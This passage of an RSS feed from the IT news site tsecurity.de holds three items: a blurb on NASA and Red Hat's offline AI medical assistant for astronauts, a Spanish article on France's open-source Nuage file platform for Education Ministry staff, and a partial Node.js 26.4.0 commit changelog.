<link>https://tsecurity.de/de/3644424/it-nachrichten/nasa-and-red-hat-are-building-an-open-source-medical-system-to-diagnose-sick-astronauts-on-the-iss-could-a-star-trek-tricorder-be-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644424/it-nachrichten/nasa-and-red-hat-are-building-an-open-source-medical-system-to-diagnose-sick-astronauts-on-the-iss-could-a-star-trek-tricorder-be-next/</guid>
<pubDate>Fri, 03 Jul 2026 23:18:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NASA and Red Hat are testing an offline AI medical assistant called CMO-DA to help astronauts diagnose and treat conditions during deep space missions.]]></content:encoded>
</item>
<item>
<title><![CDATA[La apuesta francesa por la soberanía digital: una plataforma de código abierto para 400.000 usuarios en el Ministerio de Educación]]></title>
<description><![CDATA[Francia está trabajando en reducir su dependencia de proveedores tecnológicos no europeos en el sector público, y para ello ha apostado por el software de código abierto, que está adquiriendo un papel cada vez más destacado en la región. 



Uno de los proyectos que está desplegando es Nuage, una...]]></description>
<link>https://tsecurity.de/de/3627242/it-nachrichten/la-apuesta-francesa-por-la-soberana-digital-una-plataforma-de-cdigo-abierto-para-400000-usuarios-en-el-ministerio-de-educacin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627242/it-nachrichten/la-apuesta-francesa-por-la-soberana-digital-una-plataforma-de-cdigo-abierto-para-400000-usuarios-en-el-ministerio-de-educacin/</guid>
<pubDate>Fri, 26 Jun 2026 13:47:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Francia está trabajando en reducir su dependencia de proveedores tecnológicos no europeos en el sector público, y para ello ha apostado por el software de código abierto, que está adquiriendo un papel cada vez más destacado en la región. </p>



<p>Uno de los proyectos que está desplegando es Nuage, una plataforma de almacenamiento e intercambio de archivos desarrollada por el Ministerio de Educación Nacional para docentes, personal administrativo y otros empleados. Aunque está dirigida a los 1,2 millones de trabajadores del Ministerio, actualmente cuenta con 400.000 cuentas activas, y alrededor de dos tercios de los usuarios acceden al servicio cada semana.</p>



<p>Cada usuario dispone de 100 GB de almacenamiento para documentos, PDF, vídeos e imágenes, aunque el uso medio se sitúa en torno a los 3 GB. Además, la plataforma permite compartir y editar documentos de forma colaborativa.</p>



<h2 class="wp-block-heading">El código abierto como modelo para otros</h2>



<p>El proyecto del Ministerio es un ejemplo de cómo el software de código abierto puede utilizarse a gran escala y servir de modelo para otras organizaciones que buscan reforzar su soberanía digital. El interés por este enfoque ha aumentado en los últimos meses debido a las tensiones geopolíticas y comerciales, así como al creciente temor en Europa de que la Administración Trump pueda restringir de forma repentina el acceso a determinadas tecnologías.</p>



<p>Para la administración francesa, Nuage permite al Ministerio mantener el control sobre los datos sensibles relacionados con los estudiantes que almacenan los docentes, explica Benoît Piédallu, responsable nacional de proyectos de servicios digitales del Ministerio de Educación Nacional de Francia.</p>



<p>“No queríamos que estos datos fueran a Estados Unidos, a Microsoft o a otros sistemas similares. Para nosotros era importante que permanecieran en nuestras propias instalaciones”, afirma Piédallu.</p>



<p>El coste también ha sido un factor determinante. Según Piédallu, el Ministerio puede destinar aproximadamente 10 euros por usuario al año al proyecto. “Mi presupuesto para la plataforma es inferior a dos millones de euros anuales, por lo que el precio es, por supuesto, una cuestión muy importante”, señala.</p>



<p>El equipo de servicios digitales del Ministerio ha sido responsable tanto del diseño como de la puesta en marcha de Nuage. Los trabajos se desarrollaron desde el despliegue inicial en 2020 hasta el lanzamiento de la versión definitiva en 2022.</p>



<p>“El principal reto de desplegar una plataforma de código abierto es que tenemos que hacerlo todo nosotros mismos”, explica, en referencia a la gestión de máquinas virtuales, la instalación de Linux Debian y la configuración del entorno. “Necesitamos administrar toda la infraestructura y, por supuesto, instalar y configurar Nextcloud”.</p>



<p>El Ministerio cuenta con dos empleados dedicados a la gestión de la plataforma de almacenamiento y un tercero responsable de la infraestructura. Nuage está alojada en dos centros de datos estatales: uno cerca de París y otro en el sur del país, próximo a los Pirineos.</p>



<p>Las funciones de almacenamiento y sincronización de archivos se basan en Nextcloud Files, desarrollado por la empresa alemana Nextcloud. Además, Nuage incorpora un editor documental basado en Nextcloud Office, que utiliza tecnología de código abierto de Collabora.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>El Gobierno francés ha anunciado planes para sustituir Windows por Linux en determinadas áreas de la Administración pública</strong></em></p></blockquote></figure>



<h2 class="wp-block-heading">La adopción sigue creciendo</h2>



<p>Piédallu considera que la elevada adopción del servicio demuestra su éxito. De los 400.000 usuarios activos, alrededor de 80.000 utilizan el cliente de sincronización de archivos en el escritorio. En total, Nuage almacena 570 millones de documentos y 1,2 petabytes de datos.</p>



<p>Este nivel de implantación se ha logrado prácticamente sin campañas internas de promoción. “No hemos realizado ninguna comunicación nacional importante para animar a los usuarios a utilizar el servicio ni para informarles de que disponen de 100 GB de almacenamiento”, explica.</p>



<p>A pesar de ello, la adopción sigue aumentando, hasta el punto de que cada mes es necesario incorporar unos 40 terabytes adicionales de capacidad de almacenamiento para atender la demanda. “Tenemos un crecimiento muy lineal. Es increíble verlo”, afirma.</p>



<p>Sin embargo, el aumento de los costes del hardware de almacenamiento ha llevado al Ministerio a intentar moderar el ritmo de crecimiento para evitar mayores inversiones en infraestructura. “Si mañana hiciera una campaña de comunicación, aceleraría el uso, y sé que tengo un límite en mi centro de datos”.</p>



<p>Incluso sin impulsar activamente la adopción, el Ministerio prevé alcanzar 600.000 usuarios antes de que finalice el año.</p>



<p>Aunque el equipo de servicios digitales no dispone de una visibilidad completa sobre la percepción de la plataforma, Piédallu asegura que la respuesta es positiva. El sistema de almacenamiento y sincronización funciona de manera prácticamente transparente para los usuarios y ofrece un rendimiento estable, salvo algunos problemas ocasionales de sincronización. “Están muy satisfechos. No hacen comparaciones con Google Drive o OneDrive; simplemente funciona”.</p>



<p>La recepción de la <em>suite </em>ofimática basada en Collabora, sin embargo, ha sido menos favorable, en parte porque su interfaz resulta poco familiar para muchos usuarios. “Cuando quieren editar documentos o trabajar con una hoja de cálculo, esperan que funcione exactamente igual que lo que ya conocen. Si utilizan Microsoft Office, quieren las mismas opciones y la misma experiencia”.</p>



<p>Las administraciones locales y los distritos escolares no están obligados a utilizar Nuage; pueden optar por desplegar la plataforma o recurrir a software propietario. De hecho, herramientas como Microsoft SharePoint y la suite Microsoft Office siguen utilizándose ampliamente, aunque no existen cifras oficiales sobre su nivel de uso. El Ministerio, por ejemplo, destina alrededor de 2,5 millones de euros al año a licencias de Windows para unos 50.000 dispositivos.</p>



<h2 class="wp-block-heading">La búsqueda de independencia tecnológica</h2>



<p>La soberanía digital se ha convertido en una prioridad creciente tanto para el Ministerio como para el conjunto del sector público francés, según Piédallu. “Hace unos años, el software libre y los bienes digitales comunes eran la prioridad; ahora lo es la soberanía digital: desplegar herramientas soberanas que podamos operar nosotros mismos y que no incluyan mecanismos de interrupción remota (‘kill switch’), entre otras cosas”.</p>



<p>Añade que se trata de una línea estratégica impulsada tanto desde la Administración como desde el ámbito político. Nuage es solo una de las múltiples iniciativas de código abierto en marcha en el sector público francés. Entre otras destaca LaSuite, una suite de productividad y colaboración desarrollada por la Dirección Interministerial de Asuntos Digitales (DINUM), que incluye servicios como la aplicación de mensajería Tchap y la plataforma de videoconferencia Visio.</p>



<p>Asimismo, el Gobierno francés ha anunciado planes para sustituir Windows por Linux en determinadas áreas de la Administración pública. Piédallu considera que las organizaciones públicas que estudian adoptar software de código abierto deberían apoyarse en la experiencia de otras entidades que ya han recorrido ese camino. También cree que muchos directivos sobreestiman la dificultad de abandonar tecnologías consolidadas.</p>



<p>“La mayoría de los responsables de decisión creen que será muy difícil. Evidentemente, hay trabajo por hacer para gestionar el cambio, ayudar a las personas y asegurarse de que todo está bien planificado”, afirma. “Pero al final es posible. Es algo que podemos hacer”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-24, Version 26.4.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[cde0daabcc] - (SEMVER-MINOR) doc: update blockList stability status to release candidate (alphaleadership) #63050
[b78f5a7537] - (SEMVER-MINOR) fs: support caller-supplied readFile() buffers (Matteo Collina) #63634
[417aacbc36] - (SEMVER-MINOR) http: close pre-request sockets in...]]></description>
<link>https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</guid>
<pubDate>Thu, 25 Jun 2026 01:46:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied <code>readFile()</code> buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in <code>closeIdleConnections</code> (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support <code>TCP_KEEPINTVL</code> and <code>TCP_KEEPCNT</code> in <code>setKeepAlive</code> (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch <code>node:fs/promises</code> to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal <code>node:vfs</code> subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/c7eb83b46a"><code>c7eb83b46a</code></a>] - <strong>benchmark</strong>: add child_process async path baselines (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63929/hovercard">#63929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/066fff17a5"><code>066fff17a5</code></a>] - <strong>benchmark</strong>: remove old alias usage in ffi benchmarks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63666" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63666/hovercard">#63666</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/509cd1b94f"><code>509cd1b94f</code></a>] - <strong>buffer</strong>: optimize Buffer.prototype.copy (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86e651bbd0"><code>86e651bbd0</code></a>] - <strong>buffer</strong>: use simdutf for two-byte utf8 byteLength (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63639/hovercard">#63639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3f4ed9015"><code>d3f4ed9015</code></a>] - <strong>build</strong>: suppress compiler warnings for histogram (Richard Lau) <a href="https://github.com/nodejs/node/pull/63980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63980/hovercard">#63980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82dd7ddbe6"><code>82dd7ddbe6</code></a>] - <strong>build</strong>: add QUIC CI job for PRs matching QUIC related paths (Tim Perry) <a href="https://github.com/nodejs/node/pull/63875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63875/hovercard">#63875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1124c0652d"><code>1124c0652d</code></a>] - <strong>build</strong>: remove redundant intermediate node_aix_shared (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63747/hovercard">#63747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e510ee8087"><code>e510ee8087</code></a>] - <strong>build</strong>: build codecache and snapshot with libnode (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63626/hovercard">#63626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b583dace5"><code>5b583dace5</code></a>] - <strong>build</strong>: enable maglev by default on Linux ppc64le (Richard Lau) <a href="https://github.com/nodejs/node/pull/63474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63474/hovercard">#63474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2324246b4"><code>a2324246b4</code></a>] - <strong>build</strong>: remove duplicated node_use_sqlite and node_use_ffi conditions (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63629/hovercard">#63629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a467a5f69"><code>2a467a5f69</code></a>] - <em><strong>Revert</strong></em> "<strong>build, doc</strong>: generate node.1 with doc-kit" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64091/hovercard">#64091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01dec45b8"><code>e01dec45b8</code></a>] - <strong>build, doc</strong>: generate node.1 with doc-kit (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62044/hovercard">#62044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ab9848fe4"><code>2ab9848fe4</code></a>] - <strong>child_process</strong>: pass spawn options to the binding positionally (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63930/hovercard">#63930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04c04c8b5c"><code>04c04c8b5c</code></a>] - <strong>child_process</strong>: serialize advanced IPC messages natively (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63933/hovercard">#63933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1eef57293d"><code>1eef57293d</code></a>] - <strong>crypto</strong>: support non-byte WebCrypto lengths and cSHAKE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63988" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63988/hovercard">#63988</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/788a66e147"><code>788a66e147</code></a>] - <strong>crypto</strong>: share WebCrypto method and usage helpers (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63975/hovercard">#63975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9fdce3f46"><code>f9fdce3f46</code></a>] - <strong>crypto</strong>: use EVP_MAC for HMAC on OpenSSL &gt;=3 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63942/hovercard">#63942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7e9ca87e58"><code>7e9ca87e58</code></a>] - <strong>crypto</strong>: make webcrypto aliasKeyFormat directional (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63910" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63910/hovercard">#63910</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/656e57ebbf"><code>656e57ebbf</code></a>] - <strong>crypto</strong>: fix unhandled error in Hash._transform (Haram Jeong) <a href="https://github.com/nodejs/node/pull/63261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63261/hovercard">#63261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65536f0d98"><code>65536f0d98</code></a>] - <strong>crypto</strong>: refactor keyObject.toCryptoKey() and SubtleCrypto.getPublicKey() (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63622" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63622/hovercard">#63622</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978f1d2bcc"><code>978f1d2bcc</code></a>] - <strong>crypto</strong>: handle cipher context allocation failures (Tian Teng) <a href="https://github.com/nodejs/node/pull/63542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63542/hovercard">#63542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5551e8f773"><code>5551e8f773</code></a>] - <strong>crypto</strong>: deduplicate X509 subject matching logic (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63644/hovercard">#63644</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ae87640a"><code>57ae87640a</code></a>] - <strong>crypto</strong>: fix warnings in test_node_crypto.cc (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63490/hovercard">#63490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9984b05dff"><code>9984b05dff</code></a>] - <strong>crypto</strong>: coerce -0 to +0 before native calls (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88011a3689"><code>88011a3689</code></a>] - <strong>crypto,tls</strong>: do not ignore BN_get_word error (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63895/hovercard">#63895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3393d14f"><code>9a3393d14f</code></a>] - <strong>debugger</strong>: lazily wait for initial break output (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63969/hovercard">#63969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0bfcb9c59"><code>b0bfcb9c59</code></a>] - <strong>debugger</strong>: defer probe pause handling until startup (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63608" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63608/hovercard">#63608</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8516003953"><code>8516003953</code></a>] - <strong>debugger</strong>: await initialization after run and restart (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63607/hovercard">#63607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4438cb5284"><code>4438cb5284</code></a>] - <strong>debugger</strong>: add --max-hit option to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63704/hovercard">#63704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/238b54ed2a"><code>238b54ed2a</code></a>] - <strong>debugger</strong>: add more logs to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63663/hovercard">#63663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbef54b413"><code>bbef54b413</code></a>] - <strong>deps</strong>: libffi: cherry-pick 9ca53a19833d (Anthony Green) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9761385dbd"><code>9761385dbd</code></a>] - <strong>deps</strong>: update libffi to 3.6.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/373ec2d092"><code>373ec2d092</code></a>] - <strong>deps</strong>: update acorn to 8.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63901/hovercard">#63901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e44b5d487e"><code>e44b5d487e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>deps</strong>: update OpenSSL build config to support compression (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed287a2e2"><code>3ed287a2e2</code></a>] - <strong>deps</strong>: upgrade npm to 11.17.0 (npm team) <a href="https://github.com/nodejs/node/pull/63857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63857/hovercard">#63857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b597c797"><code>b1b597c797</code></a>] - <strong>deps</strong>: add ngtcp2_fmt.c to build configuration (ngtcp2.gyp) (沈鸿飞) <a href="https://github.com/nodejs/node/pull/63821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63821/hovercard">#63821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bf8e12305"><code>0bf8e12305</code></a>] - <strong>deps</strong>: V8: add CopyArrayBufferBytes API (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e49d7301a5"><code>e49d7301a5</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.23.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63777/hovercard">#63777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5c079004b"><code>e5c079004b</code></a>] - <strong>deps</strong>: update nghttp3 to 1.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63776" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63776/hovercard">#63776</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d599fa2346"><code>d599fa2346</code></a>] - <strong>deps</strong>: update googletest to 7140cd416cecd7462a8aae488024abeee55598e4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63775/hovercard">#63775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc09f1508c"><code>bc09f1508c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63774" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63774/hovercard">#63774</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60787746c4"><code>60787746c4</code></a>] - <strong>deps</strong>: update zlib to 1.3.2.1-motley-3246f1b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63773/hovercard">#63773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/971af104f1"><code>971af104f1</code></a>] - <strong>deps</strong>: update amaro to 1.1.10 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63670/hovercard">#63670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e17f665444"><code>e17f665444</code></a>] - <strong>deps</strong>: update googletest to 8736d2cd5c1dcba41170ed2fddca14021d4916c3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63669" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63669/hovercard">#63669</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7591949457"><code>7591949457</code></a>] - <strong>dgram</strong>: add synchronous Socket connectSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63932/hovercard">#63932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d75222d7cb"><code>d75222d7cb</code></a>] - <strong>dgram</strong>: add synchronous Socket.prototype.bindSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63838/hovercard">#63838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cf8342ae2"><code>0cf8342ae2</code></a>] - <strong>dns</strong>: coerce -0 to +0 in lookup and resolver inputs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e068299320"><code>e068299320</code></a>] - <strong>doc</strong>: update gcc toolchains to <code>gcc-13</code> and <code>g++-13</code> (Louie Llaneta) <a href="https://github.com/nodejs/node/pull/64018" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64018/hovercard">#64018</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65178bdcf3"><code>65178bdcf3</code></a>] - <strong>doc</strong>: add aduh95 to last security release steward (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63981" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63981/hovercard">#63981</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83eedfe85b"><code>83eedfe85b</code></a>] - <strong>doc</strong>: fix typo in util.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63961/hovercard">#63961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54948c78e7"><code>54948c78e7</code></a>] - <strong>doc</strong>: clarify callback exceptions (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63939" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63939/hovercard">#63939</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205d0a57f2"><code>205d0a57f2</code></a>] - <strong>doc</strong>: fix incorrect test runner mock examples (Kimaswa Emmanuel Yusufu) <a href="https://github.com/nodejs/node/pull/63656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63656/hovercard">#63656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44809b176c"><code>44809b176c</code></a>] - <strong>doc</strong>: clarify fromReadable() duck-typed contract (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63682" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63682/hovercard">#63682</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9cb15fcc85"><code>9cb15fcc85</code></a>] - <strong>doc</strong>: fix typo in cli.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63883/hovercard">#63883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394d0bb928"><code>394d0bb928</code></a>] - <strong>doc</strong>: fix typo in vm.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63881/hovercard">#63881</a></li>
